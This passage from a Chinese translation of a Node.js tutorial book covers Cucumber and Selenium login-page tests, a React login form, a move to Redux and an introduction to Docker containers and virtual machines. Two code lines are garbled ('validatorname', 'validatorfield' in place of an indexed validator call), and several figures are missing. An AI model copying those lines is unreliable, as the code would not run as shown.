元素内添加一个内部包装器,我们就必须更新我们的测试。
设计和前端是软件开发阶段中最具波动性的任务之一;编写能够承受这种波动性的测试是明智的。一个项目完全更换框架并不罕见。比如说,在几年后,另一个前端框架出现并彻底改变了前端格局。通过使用 id
来选择元素,我们可以在不重写测试的情况下切换到这个新框架。
登录
在开发登录页面时,我们将遵循 TDD 流程。
编写测试
这意味着从编写 Cucumber 功能文件开始。
Feature: Login User
User visits the Login Page, fills in the form, and submits
Background: Navigate to the Login Page
When user navigates to /login
Scenario Outline: Invalid Input
Tests that the 'Login' button is disabled when either input elements contain invalid values
When user types in "<email>" in the "#email" element
And user types in "<password>" in the "#password" element
Then the "#login-button" element should have a "disabled" attribute
Examples:
| testCase | email | password |
| Both Invalid | invalid-email | shortpw |
| Invalid Email | invalid-email | abcd1234qwerty |
| Short Password | valid@ema.il | shortpw |
Scenario: Valid Input
Tests that the 'Login' button is enabled when valid values are provided, and that upon successful login, the UI display will display the message "You've been logged in successfully"
When a random user is registered
And user types in his/her email in the "#email" element
And user types in his/her password in the "#password" element
Then the "#login-button" element should not have a "disabled" attribute
When user clicks on the "#login-button" element
Then the "#login-success" element should appear within 2000 milliseconds
这引入了几个新的步骤。当随机用户注册
步骤直接调用 API 来注册用户。我们将使用此用户来测试我们的登录步骤。它实现在一个名为 spec/cucumber/steps/auth/index.js
的新模块中:
import chai, { expect } from 'chai';
import chaiAsPromised from 'chai-as-promised';
import { Given, When, Then } from 'cucumber';
import { By, until } from 'selenium-webdriver';
import bcrypt from 'bcryptjs';
import fetch, { Request } from 'node-fetch';
import { generateSampleData } from '../utils';
chai.use(chaiAsPromised);
Then(/^a random user is registered$/, function () {
this.email = generateSampleData('email');
this.password = generateSampleData('password');
this.digest = bcrypt.hashSync(this.password, 10);
const payload = {
email: this.email,
digest: this.digest
};
const request = new Request(`http://${process.env.API_SERVER_HOST_TEST}:${process.env.API_SERVER_PORT_TEST}/users/`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
mode: 'cors',
body: JSON.stringify(payload)
})
return fetch(request)
.then(response => {
if (response.status === 201) {
this.userId = response.text();
} else {
throw new Error('Error creating new user');
}
})
});
我们正在使用我们之前定义的 generateSampleData
工具函数来生成新用户的详细信息。我们也将这些详细信息存储在上下文中。接下来,我们使用 Fetch API 向 API 发送创建用户请求。然而,Fetch API 是浏览器原生的 API。因此,为了在 Node 中使用 Fetch API,我们必须安装一个 polyfill,node-fetch
:
$ yarn add node-fetch --dev
然后,对于步骤 用户在 "#email" 元素中输入他的/她的电子邮件
和 用户在 "#password" 元素中输入他的/她的密码
,我们正在使用上下文中存储的详细信息来填写登录表单并提交它。如果请求成功,预期将出现一个 ID 为 login-success
的元素。
如果你忘记了任何 API 端点和参数,只需参考 Swagger 文档,你可以通过运行 yarn run docs:serve
来提供该文档。
实现登录
实现登录表单与注册表单类似,但是它涉及两个步骤而不是一个。客户端必须首先从 API 中检索盐,使用它来散列密码,然后向 API 发送第二个请求以登录。你的实现可能看起来像这样:
import React from 'react';
import bcrypt from 'bcryptjs';
import { validator } from '../../utils';
import Button from '../button/index.jsx';
import Input from '../input/index.jsx';
function retrieveSalt (email) {
const url = new URL('http://%%API_SERVER_HOST%%:%%API_SERVER_PORT%%/salt/');
url.search = new URLSearchParams({ email });
const request = new Request(url, {
method: 'GET',
mode: 'cors'
});
return fetch(request)
.then(response => {
if (response.status === 200) {
return response.text();
} else {
throw new Error('Error retrieving salt');
}
})
}
function login (email, digest) {
// Send the credentials to the server
const payload = { email, digest };
const request = new Request('http://%%API_SERVER_HOST%%:%%API_SERVER_PORT%%/login/', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
mode: 'cors',
body: JSON.stringify(payload)
})
return fetch(request)
.then(response => {
if (response.status === 200) {
return response.text();
} else {
throw new Error('Error logging in');
}
})
}
class LoginForm extends React.Component {
constructor(props) {
super(props);
this.state = {
token: null,
email: {
value: "",
valid: null
},
password: {
value: "",
valid: null
}
};
}
handleLogin = (event) => {
event.preventDefault();
event.stopPropagation();
const email = this.state.email.value;
const password = this.state.password.value;
retrieveSalt(email)
.then(salt => bcrypt.hashSync(password, salt))
.then(digest => login(email, digest))
.then(token => this.setState({ token }))
.catch(console.error)
}
handleInputChange = (name, event) => {
const value = event.target.value;
const valid = validatorname;
this.setState({
[name]: { value, valid }
});
}
render() {
if(this.state.token) {
return (
<div id="login-success">
<h1>You have logged in successfully!</h1>
<p>Where do you want to go next?</p>
<Link to='/'><Button title="Home"></Button></Link>
<Link to='/profile'><Button title="Profile"></Button></Link>
</div>
)
}
return [
<form onSubmit={this.handleLogin}>
<Input label="Email" type="email" name="email" id="email" value={this.state.email.value} valid={this.state.email.valid} onChange={this.handleInputChange} />
<Input label="Password" type="password" name="password" id="password" value={this.state.password.value} valid={this.state.password.valid} onChange={this.handleInputChange} />
<Button title="Login" id="login-button" disabled={!(this.state.email.valid && this.state.password.valid)}/>
</form>,
<p>Don't have an account? <Link to='/register'>Register</Link></p>
]
}
}
export default LoginForm;
现在我们有了表单组件,让我们将其添加到路由器中。在 React Router 版本 v4 之前,你只需将一个新的 <Route>
组件添加到 <BrowserRouter>
:
<BrowserRouter>
<Route exact path="/register" component={RegistrationForm} />,
<Route exact path="/login" component={LoginForm} />
</BrowserRouter>
然而,随着 React Router v4 的推出,路由组件只能有一个子组件。因此,我们必须将 <Route>
组件包裹在一个容器中。
react-router-dom
包提供了 <Switch>
组件,我们将将其用作容器。<Switch>
组件将只渲染第一个匹配的 <Route>
中指定的组件:
import React from 'react';
import ReactDOM from 'react-dom';
import { BrowserRouter, Route, Switch } from 'react-router-dom';
import RegistrationForm from './components/registration-form/index.jsx';
import LoginForm from './components/login-form/index.jsx';
ReactDOM.render((
<BrowserRouter>
<Switch>
<Route exact path="/register" component={RegistrationForm} />,
<Route exact path="/login" component={LoginForm} />
</Switch>
</BrowserRouter>
), document.getElementById('renderTarget'));
在前面的例子中,如果我们导航到 /register
,<Switch>
组件将看到第一个 <Route>
组件中有一个匹配项,并将停止寻找更多匹配项并返回 <RegistrationForm>
。
现在轮到你了
我们已经在之前的章节中介绍了如何编写端到端测试,并演示了如何为注册和登录页面应用 TDD。
现在,我们将接力棒传给你,以便你可以改进我们所做的,使其符合设计,并以 TDD 的方式完成应用程序的其余部分。
你不需要专注于使事物看起来很漂亮——这并不是这里的重点。只需确保所有组件都在那里,并且用户流程是正确的。
在完成这些之后,查看我们的实现并使用它来改进你的实现。然后,我们将查看单元测试以及其他可以应用于前端代码的测试类型。
摘要
在本章中,我们将为后端 API 所做的工作应用到前端代码中。我们使用了 Cucumber、Gherkin 和 Selenium 来编写直接在真实浏览器上运行的 UI 测试。我们还使用了 React Router 实现了客户端路由。
在下一章中,我们将通过学习Redux,一个强大的状态管理库,来结束我们对前端世界的探索之旅。
第十六章:使用 Redux 管理状态
记住,之前我们说过,将应用程序状态放在多个地方是不好的,因为它会使调试变得非常困难。因此,我们将状态从输入组件移动到表单组件。但现在我们有两个表单,我们再次有两个地方有状态。因此,我们需要再次将状态向上移动。最理想的情况是,我们的应用程序只有一个状态存储。
然而,如果我们继续将状态向上移动,并将相关的状态属性作为 props 传递下去,这可能会非常低效。假设一个组件嵌套了 20 层;为了消耗它所需的状态,状态需要通过 19 个组件。
此外,假设同一个深度嵌套的组件需要改变状态;它将不得不调用它的 onChange
prop,提示其父组件调用其 onChange
prop,等等。每次状态更改都需要调用 20 个 onChange
函数是无效的。
幸运的是,人们之前已经面临过相同的问题,并提出了解决这些问题的 state management 库。在本章中,我们将使用最受欢迎的状态管理库,Redux,以集中化的方式组织我们的状态。
通过阅读本章,你将学习以下内容:
-
Redux 中的不同概念,如状态 store、reducers、actions 和 dispatchers
-
如何提升状态
状态管理工具
目前有许多状态管理库,其中最受欢迎的是 Redux 和 MobX。
Redux
在 Redux 中,你将应用程序的状态保存在一个属于 store 的对象字面量中。当状态需要改变时,应该发出一个描述发生了什么的 action。
然后,你会定义一组 reducer 函数,每个函数响应不同类型的动作。reducer 的目的是生成一个新的状态对象,将替换上一个状态对象:
这样,更新状态不再需要调用 20 个不同的 onChange
函数。
然而,你仍然需要通过许多组件的 props 传递状态。有一种方法可以通过使用 selectors 来减轻这种情况;但关于这一点我们稍后再谈。
MobX
Mobx 集成了函数式响应式编程原则,并使用 observables 作为其存储:
你可以使用 @observable
装饰器将实体(例如,对象和数组)标记为可观察的。你还可以使用 @computed
装饰器将一些函数标记为 derivation 或 reaction。@computed
函数将在 @observable
存储每次更改时重新运行。
装饰器是 ECMAScript 的一个提议性添加,目前由 github.com/tc39/proposal-decorators 跟踪。
派生值是从状态中唯一可以导出的值。例如,我们可以将我们的 LoginPage
组件作为状态的派生值。当状态包含令牌属性时,用户已经登录,LoginPage
可以显示一条消息说“您已经登录”。当状态不包含令牌属性时,LoginPage
将渲染 LoginForm
组件。LoginPage
显示的内容可以完全从状态对象中令牌属性的值中导出。
反应是在状态更改时触发的事件。例如,如果一个新闻源应用的过时状态属性变为 true
,你可能想查询 API 获取新鲜数据。
最后,状态更改是由 动作 触发的,动作是改变状态的事件。在 MobX 中,动作只是以某种方式更新状态的 JavaScript 语句。
Redux 与 MobX 的比较
首先,我们必须明确,Redux 和 MobX 都与 React 工作得很好。
Redux 拥有更大的社区,其开发者工具更加成熟,与其他工具集成时支持更多。
转换到 Redux
让我们从安装 Redux 开始:
$ yarn add redux
此外,还有一个官方的 React 绑定,它提供了 connect
方法,可以帮助你将组件连接到存储:
$ yarn add react-redux
你可能还想安装 Redux DevTools (github.com/reduxjs/redux-devtools
),因为它会使使用 Redux 调试变得更加容易。
创建存储
如前所述,应用程序的整个状态都存储在称为 store 的结构中的单个对象中。存储是 Redux 应用程序的核心,所以让我们创建它。在 src/index.jsx
中添加以下行:
import { createStore } from 'redux';
const initialState = {};
const reducer = function (state = initialState, action) {
return state;
}
const store = createStore(reducer, initialState);
createStore
方法接受三个参数:
-
reducer
函数:一个函数,它接受当前状态和一个动作,并使用它们生成一个新的状态。 -
initialState
任何类型:初始状态。initialState
可以是任何数据类型,但在这里我们将使用对象字面量。 -
enhancer
函数:一个函数,它接受当前存储,并修改它以创建一个新的、"增强"的存储。你可能希望使用增强器来实现中间件:
目前,我们只需关注创建一个带有状态的存储,所以我们使用一个虚拟的 reducer,它简单地返回状态。
存储对象有许多方法,其中最重要的是:
-
getState
: 获取存储的当前状态 -
dispatch
: 向存储派发一个动作 -
subscribe
: 订阅函数,在存储的状态更改时运行
我们将使用这三种方法来实现我们的 Redux 集成。
提升状态
因此,让我们着手提升状态。目前,我们正在我们的两个表单元素中持有状态。所以,让我们将这些 本地 状态迁移到我们保持在我们 Redux 存储中的 中心 状态。
从LoginForm
和RegistrationForm
组件中移除构造函数方法(这些方法仅用于初始化状态),并将我们的initialState
对象更新如下:
const initialState = {
loginForm: {
token: null,
email: {
value: "",
valid: null
},
password: {
value: "",
valid: null
}
},
registrationForm: {
userId: null,
email: {
value: "",
valid: null
},
password: {
value: "",
valid: null
}
}
};
然后,我们需要使这个中心状态对组件可用。我们通过将状态通过Route
组件传递给表单组件来实现这一点:
<Route exact path="/register" store={store} render={() => <RegistrationForm {...store.getState().registrationForm} />} />,
<Route exact path="/login" store={store} render={() => <LoginForm {...store.getState().loginForm} />} />,
我们正在使用store.getState()
来获取存储的当前状态,并且我们只将相关部分传递到组件中。
注意,我们正在使用Route
的渲染属性而不是组件。当你想要传入作用域变量而不导致组件卸载和重新挂载时,渲染属性非常有用。
然后,我们需要确保每当状态改变时调用ReactDOM.render
,这样 UI 就成为了我们状态的确定性表示。我们通过将ReactDOM.render
调用包装在一个函数中,并通过将状态变化时提供它作为store.subscribe
的参数来调用它来实现这一点:
function render () {
ReactDOM.render( ... );
}
store.subscribe(render);
render();
最后,在LoginForm
和RegistrationForm
组件内部,将每个this.state
实例更改为this.props
。
界面现在是我们状态的确定性表示。
保存并运行yarn run serve
以启动我们应用程序的新版本。你会注意到,当你输入输入框时,输入框的值没有改变。这是因为我们没有派发一个会改变我们状态的动作。
尝试更改initialState.loginForm.email.value
的值,并重新启动应用程序。你会看到它在表单中得到了反映。
派发动作
现在我们已经集成了 React,使我们的 UI 成为我们状态的确定性表示。然而,正如你在尝试在输入框中输入时所展示的,我们没有方法来更新状态。现在让我们来改变这一点。
只是为了回顾一下,你在 Redux 中改变状态的方式是通过派发一个动作,并定义响应这些动作并更新状态的 reducer。
让我们从更新状态的场景开始;例如,当我们在一个表单的输入框中输入时。目前,我们正在使用handleInputChange
方法来更新本地状态:
handleInputChange = (name, event) => {
const value = event.target.value;
const valid = validatorname;
this.setState({
[name]: { value, valid }
});
}
相反,我们希望更新这个事件处理器来派发一个动作。
一个动作只是一个描述已发生事件的简单对象。它应该尽可能简洁。创建动作后,你需要在存储上调用dispatch
方法来派发动作。例如,在RegistrationForm
组件中输入值更改后派发的动作可能看起来像这样:
handleInputChange = (name, event) => {
const value = event.target.value;
const action = {
type: 'RegistrationForm:update',
field: name,
value
}
this.props.store.dispatch(action);
}
注意,我们移除了验证逻辑。这是因为它没有描述已发生的事件(输入值已更改)。这个验证逻辑属于 reducer,我们现在将实现它。
使用 Reducer 更新状态
将虚拟 reducer 函数更新如下:
import deepmerge from 'deepmerge';
import { validator } from './utils';
const reducer = function (state = initialState, action) {
if (action.type === 'RegistrationForm:update') {
const { field, value } = action;
const valid = validatorfield;
const newState = {
registrationForm: {
[field]: {
value,
valid
}
}
}
return deepmerge(state, newState);
}
return state;
}
我们已经将验证逻辑迁移到这里,并且我们正在返回状态的新实例。由于我们的状态对象有很多层,仅仅使用 Object.assign
或 ES6 扩展语法是不够的。因此,我们正在使用一个名为 deepmerge
的 NPM 包来执行旧状态和新状态的合并。所以,请确保我们将该包添加到我们的项目中:
$ yarn add deepmerge
将 RegistrationForm
组件的其余部分转换为使用 Redux(即,更改 handleRegistration
方法),然后对 LoginForm
组件做同样的处理。
然后,再次运行你的应用程序,它应该和之前一样工作。但请始终运行 yarn run test:e2e
以确保无误!
使用 React Redux 连接
到目前为止,我们使用了 createStore
来创建一个新的 store,store.getState
来获取 store 的状态,store.dispatch
来分发由 reducer 处理的动作以改变状态,最后使用 subscribe
来在状态改变时重新运行我们的 render
函数。
我们不得不手动做所有这些,但有一个更好的替代方案,它简化了这一切,并添加了许多性能优化,以防止不必要的重新渲染。React Redux 是 Redux 对 React 的官方绑定。它提供了一个 connect
函数,将取代 store.subscribe
的角色,从 Redux store 的状态中读取,并将相关的部分作为 props 传递给展示组件(例如,Input
和 Button
)。现在让我们安装它:
$ yarn add react-redux
它与 React Redux 的工作方式如下:
-
你将应用程序的根组件包裹在
<Provider>
组件中。这使得 Redux store 对应用中的每个组件都可用。 -
在需要从状态中读取的每个容器组件中,你使用
connect
函数将组件连接到 Redux store。
使用 Provider 组件包裹
首先,从 src/index.jsx
中移除 store.subscribe
调用。由于 connect
将负责订阅状态的变化,我们不再需要这个。这也意味着我们不再需要在 ReactDOM.render
调用内部包裹一个函数。
接下来,由于我们将在每个组件中调用 connect
,因此不需要将 store 和 state 属性作为 props 传递。因此,在我们的 <Route>
组件中,切换回使用 component prop 而不是 render
。
最重要的是,将我们的整个应用程序包裹在 <Provider>
组件中,将 store 作为其唯一的 prop 传递:
import { Provider } from 'react-redux';
ReactDOM.render((
<Provider store={store}>
<BrowserRouter>
<Switch>
<Route exact path="/register" component={RegistrationForm} />
<Route exact path="/login" component={LoginForm} />
</Switch>
</BrowserRouter>
</Provider>
), document.getElementById('renderTarget'));
现在,store 对应用中的所有组件都是可用的。要访问 store 的状态并向 store 分发动作,我们需要使用 connect
。
连接到 Redux store
由于我们现在不再将 store 和 state 传递给表单组件,我们需要使用 connect
来重新连接组件到 store。
connect
函数具有以下签名:
connect([mapStateToProps], [mapDispatchToProps], [mergeProps], [options])
所有参数都是可选的,将在下面进行描述。
mapStateToProps
如果 mapStateToProps
是一个函数,那么组件将订阅存储状态的改变。当发生改变时,mapStateToProps
函数将被调用,并且传递存储的整个更新状态。该函数应该提取与该组件相关的状态部分,并将它们作为对象字面量返回。这个对象字面量然后将与传递给组件的属性合并,并通过 this.props
在其方法中可用。
对于我们的 LoginForm
组件,我们只关心状态中的 loginForm
属性,因此替换我们当前的导出语句:
export default LoginForm;
使用如下:
function mapStateToProps (state) {
return state.loginForm;
}
export default connect(mapStateToProps)(LoginForm);
对 RegistrationForm
也做同样的处理。
如果一个组件不需要从存储中读取状态,但需要以其他方式与存储交互(例如,分发一个事件),那么你可以为 mapStateToProps
参数使用 null
或 undefined
。那么组件将不再对状态变化做出反应。
connect
函数本身返回一个函数,然后你可以使用这个函数来包装你的组件。
mapDispatchToProps
虽然 mapStateToProps
允许组件订阅存储的状态变化,但 mapDispatchToProps
允许组件向存储分发动作。
它通过引用存储的 dispatch 方法被调用,并且应该返回一个对象,其中每个键映射到一个调用 dispatch 方法的函数。
例如,我们的 mapDispatchToProps
函数可能看起来像这样:
function mapDispatchToProps (dispatch) {
return {
handleInputChange: (name, event) => {
const value = event.target.value;
const action = {
type: 'LoginForm:update',
field: name,
value
}
dispatch(action);
}
};
};
handleInputChange
键将被合并到组件的属性中,并在组件的方法中作为 this.props.handleInputChange
可用。因此,我们可以将 Input 组件上的 onChange
属性更新为 onChange={this.props.handleInputChange}
。
解耦 Redux 与组件
你可能会想,“这看起来非常复杂,为什么我不能直接将 dispatch 作为属性传递,并在事件处理程序中调用 this.props.dispatch()
?就像我们之前做的那样?”如下所示:
function mapDispatchToProps (dispatch) {
return { dispatch };
};
虽然这是可能的,但这将我们的组件耦合到 Redux。在 Redux 之外,不存在 dispatch 方法的概念。因此,在我们的组件方法中使用 dispatch
有效地将组件绑定到 Redux 环境。
通过使用 mapDispatchToProps
函数,我们解耦了组件与 Redux。现在,this.props.handleInputChange
只是我们传递给组件的函数。如果我们后来决定不使用 Redux,或者我们想在非 Redux 环境中重用该组件,我们只需传递一个不同的函数,而无需更改组件代码。
同样,我们可以将 handleLogin
事件处理程序中的 dispatch 调用拉入 mapDispatchToProps
:
function mapDispatchToProps (dispatch) {
return {
handleInputChange: (name, event) => { ... },
handleSuccess: token => {
const action = {
type: 'LoginForm:success',
token
}
dispatch(action);
}
};
};
为了连接这些点,将 mapStateToProps
和 mapDispatchToProps
传递给 connect
。这将返回一个函数,你可以用它来包装 LoginForm
组件:
export default connect(
mapStateToProps,
mapDispatchToProps
)(LoginForm);
注意,原始组件(LoginForm
)没有被修改。相反,创建了一个新的包装组件并导出。
然后在handleLogin
事件处理器中使用handleSuccess
:
class LoginForm extends React.Component {
handleLogin = (event) => {
...
fetch(request)
.then( ... )
.then(this.props.handleSuccess)
.catch(console.error)
}
}
对于RegistrationForm
重复相同的步骤。一如既往,运行测试以确保没有错别字或错误。
摘要
在本章中,我们已经将代码迁移到使用 Redux 来管理我们的状态。拥有一个单一的状态存储使得事情的管理和维护变得更加容易。
我们现在已经完成了前端世界的迷你之旅。在下一章中,我们将探讨如何使用Docker来容器化我们的应用程序,并使每个服务更加独立和自包含。
第十七章:迁移到 Docker
到目前为止,我们主要集中在开发应用程序的后端和前端,对基础设施的关注很少。在接下来的两章中,我们将专注于使用 Docker 和 Kubernetes 创建可扩展的基础设施。
到目前为止,我们已经手动配置了两个虚拟专用服务器(VPS),并将我们的后端 API 和客户端应用程序部署在它们上面。随着我们在本地机器上继续开发我们的应用程序,我们在本地、Travis CI 以及我们自己的 Jenkins CI 服务器上测试每个提交。如果所有测试都通过,我们使用 Git 从 GitHub 上的集中式远程仓库拉取更改并重新启动我们的应用程序。虽然这种方法适用于用户基础较小的简单应用程序,但对于企业级软件来说则不可行。
因此,我们将从理解为什么手动部署应该是过去式开始,以及我们可以采取的步骤来实现部署过程的完全自动化。具体来说,通过遵循本章,你将学习:
-
什么是Docker以及通常的容器是什么,
-
如何下载和运行 Docker 镜像
-
如何编写自己的
Dockerfile
并将其用于将应用程序的部分容器化 -
如何优化镜像
手动部署的问题
我们当前方法中存在的一些弱点包括:
-
缺乏一致性:大多数企业级应用程序是由一个团队开发的。很可能每个团队成员都会使用不同的操作系统,或者以与其他人不同的方式配置他们的机器。这意味着每个团队成员的本地机器的环境将彼此不同,并且由此延伸到生产服务器。因此,即使所有本地测试都通过,也不能保证在生产环境中也能通过。
-
缺乏独立性:当几个服务依赖于共享库时,它们必须都使用库的同一版本。
-
耗时且易出错:每次我们想要一个新的环境(预发布/生产)或在多个位置使用相同的环境时,我们都需要手动部署一个新的 VPS 实例,并重复相同的步骤来配置用户、防火墙和安装必要的软件包。这产生了两个问题:
-
耗时:手动设置可能需要几分钟到几小时不等。
-
易出错:人类容易出错。即使我们已经执行了相同的步骤数百次,也难免会有一些错误。
-
此外,这个问题随着应用程序和部署过程的复杂性而扩大。对于小型应用程序来说可能是可管理的,但对于由数十个微服务组成的大型应用程序来说,这变得过于混乱。
-
-
风险性部署:因为服务器配置、更新、构建和运行我们的应用程序只能在部署时进行,所以在部署时出错的风险更大。
-
难以维护:在应用程序部署之后,管理服务器/环境并不会停止。会有软件更新,你的应用程序本身也会更新。当这种情况发生时,你必须手动进入每个服务器并应用更新,这又是耗时且容易出错的。
-
停机时间:将我们的应用程序部署在单个服务器上意味着存在一个单点故障(SPOF)。这意味着如果我们需要更新我们的应用程序并重新启动,应用程序将在这段时间内不可用。因此,以这种方式开发的应用程序无法保证高可用性或可靠性。
-
缺乏版本控制:对于我们的应用程序代码,如果引入了一个错误并且某种方式通过了我们的测试并部署到生产环境中,我们可以简单地回滚到最后已知的好版本。同样的原则也应该适用于我们的环境。如果我们更改了服务器配置或升级了一个破坏我们应用程序的依赖项,就没有快速简便的方法来撤销这些更改。最糟糕的情况是,如果我们没有先记录下上一个版本就无差别地升级了多个包,那么我们甚至不知道如何撤销更改!
-
资源分配效率低下:我们的 API、前端客户端和 Jenkins CI 各自部署在自己的 VPS 上,运行自己的操作系统,并控制自己的隔离资源池。首先,每个服务在自己的服务器上运行可能会迅速变得昂贵。目前我们只有三个组件,但一个大型应用程序可能有数十到数百个单独的服务。此外,每个服务可能并没有充分利用服务器的全部能力。在负载较高的时期,拥有一个缓冲是很重要的,但我们应尽可能减少未使用/空闲资源:
Docker 简介
Docker 是一个开源项目,为开发者提供构建和运行容器内应用程序的工具和生态系统。
容器是什么?
容器化是一种虚拟化方法。虚拟化是一种在从硬件抽象出的层内运行计算机系统虚拟实例的方法。虚拟化允许你在同一物理主机机器上运行多个操作系统。
从运行在虚拟化系统中的应用程序的角度来看,它对主机机器没有任何知识或交互,甚至可能不知道它正在虚拟环境中运行。
容器是一种虚拟系统。每个容器都分配了一定数量的资源(CPU、RAM、存储)。当程序在容器内运行时,其进程和子进程只能操作分配给容器的资源,不能再操作其他资源。
你可以将容器视为一个隔离的环境,或沙盒,在其中运行你的应用程序。
工作流程
那么,在容器内运行程序(或程序)的典型工作流程是什么?
首先,你需要在 Dockerfile 中指定你的环境和应用程序的设置,其中每一行都是设置过程中的一个步骤:
FROM node:8
RUN yarn
RUN yarn run build
CMD node dist/index.js
然后,你将实际执行 Dockerfile 中指定的步骤以生成 镜像。镜像是一个静态的、不可变的文件,包含我们应用程序的可执行代码。镜像自包含,包括我们的应用程序代码以及所有依赖项,如系统库和工具。
然后,你将使用 Docker 运行镜像。镜像的运行实例是容器。你的应用程序在容器内运行。
通过类比,Dockerfile 包含了组装电机的指令。你按照指令生成电机(镜像),然后你可以给电机添加电力使其运行(容器)。
Docker 与我们的类比之间的唯一区别是,许多 Docker 容器可以运行在同一个 Docker 镜像之上。
Docker 如何解决我们的问题?
既然我们已经知道了 Docker 是什么,并且对如何使用它有一个大致的了解,那么让我们看看 Docker 如何修复我们当前工作流程中的缺陷:
-
提供一致性:我们可以在同一镜像上运行多个容器。因为设置和配置是在镜像上完成的,所以所有容器都将拥有相同的环境。进一步来说,这意味着在我们的本地 Docker 实例上通过测试的测试也会在生产环境中通过。这也被称为 可重复性,减少了开发者说“但在我的机器上它工作得很好!”的情况。此外,Docker 容器应该将所有依赖项打包在其内部。这意味着它可以部署在任何地方,无论操作系统如何。Ubuntu 桌面、Red Hat 企业 Linux 服务器、MacOS - 这都不重要。
-
提供独立性:每个容器都包含它自己的所有依赖项,可以选择它想要的任何版本。
-
节省时间和减少错误:构建我们的镜像所使用的每个设置和配置步骤都已在代码中指定。因此,这些步骤可以由 Docker 自动执行,从而降低人为错误的风险。此外,一旦镜像构建完成,你可以重用相同的镜像来运行多个容器。这两个因素意味着节省了大量的人时。
-
风险部署:服务器配置和应用程序构建发生在构建时间,我们可以在容器运行之前进行测试。我们本地或预发布环境与生产环境之间的唯一区别将是硬件和网络的不同。
-
易于维护:当需要更新应用程序时,你只需更新你的应用程序代码和/或 Dockerfile,然后重新构建镜像。然后,你可以运行这些新镜像,并重新配置你的 web 服务器以将请求指向新的容器,在淘汰过时的容器之前。
-
消除停机时间:我们可以轻松地部署我们想要的任何数量的应用程序实例,因为只需要一个
docker run
命令。它们可以并行运行,因为我们的 Web 服务器开始将新流量导向更新的实例,同时等待现有请求由过时的实例完成。 -
版本控制:Dockerfile 是一个文本文件,应该被提交到项目仓库中。这意味着如果我们的环境有新的依赖项,它可以被追踪,就像我们的代码一样。如果我们的环境开始产生大量错误,回滚到上一个版本就像部署最后一个已知良好的镜像一样简单。
-
提高资源使用效率:由于容器是独立的,它们可以部署在任何机器上。然而,这也意味着可以在同一台机器上部署多个容器。因此,我们可以将更轻量级或非关键任务的服务一起部署在同一台机器上:
例如,我们可以在同一台主机机器上部署我们的前端客户端和 Jenkins CI。客户端很轻量,因为它是一个简单的静态 Web 服务器,而 Jenkins 用于开发,如果它有时响应缓慢也是可以接受的。
这还有一个额外的优点,即两个服务共享相同的操作系统,这意味着总体开销更小。此外,资源池化导致我们资源的使用更加高效:
所有这些好处都源于我们的环境现在被指定为代码。
Docker 的工作原理
因此,既然你已经了解了为什么我们需要 Docker,以及从高层次上如何与 Docker 一起工作,那么让我们将注意力转向实际上Docker 容器和镜像是什么。
什么是 Docker 容器?
Docker 基于 Linux 容器(LXC),这是一种内置在 Linux 中的容器化技术。LXC 本身依赖于两个 Linux 内核机制——控制组和命名空间。因此,让我们更详细地简要考察每一个。
控制组
控制组(cgroups)通过组来分离进程,并将一个或多个子系统附加到每个组:
子系统可以限制每个附加组的资源使用。例如,我们可以将我们的应用程序进程放入 foo cgroup 中,将其内存子系统附加到它上面,并限制我们的应用程序使用,比如说,主机内存的 50%。
有许多不同的子系统,每个子系统负责不同类型的资源,例如 CPU、块 I/O 和网络带宽。
命名空间
命名空间将系统资源,如文件系统、网络访问等打包,并将它们呈现给一个进程。从进程的角度来看,它甚至不知道在其分配之外还有资源。
可以进行命名空间化的资源之一是进程 ID(PIDs)。在 Linux 中,PIDs 组织成树状结构,系统的初始化进程(systemd
)被赋予 PID 1,位于树的根节点。
如果我们对 PIDs 进行命名空间化,我们就是通过将子进程的根重置为 PID 1 来屏蔽子进程的其他进程。这意味着后代进程将把子进程视为根,并且它们将不会知道任何其他进程。
您可以通过在终端中运行pstree
来查看您系统的进程树。
这里描述的两种 Linux 内核机制的组合使我们能够拥有彼此隔离的容器(使用命名空间)以及资源受限的容器(使用控制组)。每个容器都可以拥有自己的文件系统、网络等,与其他主机上的容器隔离。
LXC 和 Docker
需要注意的是,Docker不是一种新的容器化技术——它并没有取代 LXC。相反,它提供了一个使用 Dockerfile 和更广泛的 Docker 工具链定义、构建和运行 LXCs 的标准方式。
实际上,在 2015 年 6 月 22 日,Docker、CoreOS 和其他容器行业的领导者建立了开放容器倡议(OCI: opencontainers.org),这是一个旨在围绕容器格式和运行时创建开放行业标准的项目。OCI 具有开放的治理结构,并得到了 Linux 基金会的支持。
目前,开放容器倡议(OCI)提供了两个标准规范:
-
镜像规范(image-spec: github.com/opencontainers/image-spec):这规定了镜像定义应该如何格式化。例如,OCI 镜像应由一个镜像清单、一个镜像配置和一个文件系统(层)序列化组成。
-
运行时规范(runtime-spec: github.com/opencontainers/runtime-spec)这规定了系统如何运行符合 OCI 规范的镜像。Docker 将其容器格式和运行时,runC (github.com/opencontainers/runc),捐赠给了 OCI。
除了对 OCI 标准做出重大贡献外,Docker 还通过提供工具简化了容器的工作,这些工具将底层过程(如管理控制组)抽象化,从而远离最终用户,并提供了一个注册表(Docker Hub),开发者可以在其中共享和分支彼此的镜像。
虚拟机
还需要注意的是,容器并不是虚拟化的唯一方法。另一种常见的提供隔离虚拟环境的方法是使用虚拟机(VMs)。
虚拟机的目的与容器类似——提供隔离的虚拟环境,但其机制却大不相同。
虚拟机是运行在另一个计算机系统之上的模拟计算机系统。它是通过 虚拟机管理程序 来实现的——一个可以访问物理硬件并管理不同虚拟机之间资源分配和分离的程序。
虚拟机管理程序是分离硬件层和虚拟环境的软件,如下面的图所示:
虚拟机管理程序可以嵌入到系统硬件中并直接在其上运行,此时它们被称为 Type 1 虚拟机管理程序,即原生、裸机或嵌入式虚拟机管理程序。它们也可以在宿主操作系统的之上运行,此时它们被称为 Type 2 虚拟机管理程序。
Type 1 虚拟机管理程序技术自 2006 年 Linux 引入 基于内核的虚拟机 (KVM) 以来一直是 Linux 的一部分。
容器与虚拟机
当比较容器和虚拟机时,以下是主要的区别:
-
虚拟机是对整个计算机系统的模拟(全虚拟化),包括模拟硬件。这意味着用户可以与模拟的虚拟硬件进行交互,如网络卡、图形适配器、CPU、内存和磁盘。
-
虚拟机使用更多资源,因为它们是 硬件虚拟化 或 全虚拟化,与容器不同,容器是在操作系统(OS)级别虚拟化的。
-
容器内的进程直接在宿主机的内核上运行。同一台机器上的多个容器都会共享宿主机的内核。相比之下,虚拟机内的进程在自己的虚拟内核和操作系统上运行。
-
